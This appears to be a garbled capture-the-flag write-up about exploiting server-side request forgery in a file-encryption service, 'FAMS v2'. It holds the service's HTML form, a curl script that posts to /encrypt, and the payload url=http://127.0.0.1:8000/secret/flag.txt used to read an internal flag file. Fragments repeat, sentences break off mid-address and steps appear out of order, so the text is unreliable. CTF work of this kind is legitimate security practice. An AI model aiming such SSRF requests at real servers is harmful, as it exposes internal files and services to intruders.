V2.fams.cc May 2026
# Key derived from the "key" we sent ("ssrf") key_hex = '8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e' key = binascii.unhexlify(key_hex)
<!doctype html> <html> <head><title>FAMS v2 – File‑and‑Message Service</title></head> <body> <h1>Welcome to FAMS v2</h1> <form action="/encrypt" method="POST"> <label>URL: <input type="text" name="url"></label><br> <label>Key: <input type="text" name="key"></label><br> <input type="submit" value="Encrypt"> </form> <p>Download your encrypted file at: <a id="dl" href=""></a></p> </body> </html> No obvious hints. The /encrypt endpoint is the only POST target. Using Burp Suite (or curl -v ), we send a dummy request: v2.fams.cc
# 1️⃣ Ask the service to encrypt the internal flag file RESP=$(curl -s -X POST "$TARGET/encrypt" \ -d "url=$SSRF_URL&key=$KEY") DOWNLOAD=$(echo "$RESP" | jq -r .download) USED_KEY=$(echo "$RESP" | jq -r .used_key) # Key derived from the "key" we sent
/var/www/internal/ ├─ index.html ├─ secret/ │ └─ flag.txt └─ uploads/ The flag file ( /var/www/internal/secret/flag.txt ) contains the flag in plain text. Because the external interface can reach http://127.0.0.1:8000/secret/flag.txt via SSRF, we can ask the service to encrypt that file and then decrypt it ourselves. url = http://127.0.0.1:8000/secret/flag.txt key = any‑string (e.g., "ssrf") Submit: Because the external interface can reach http://127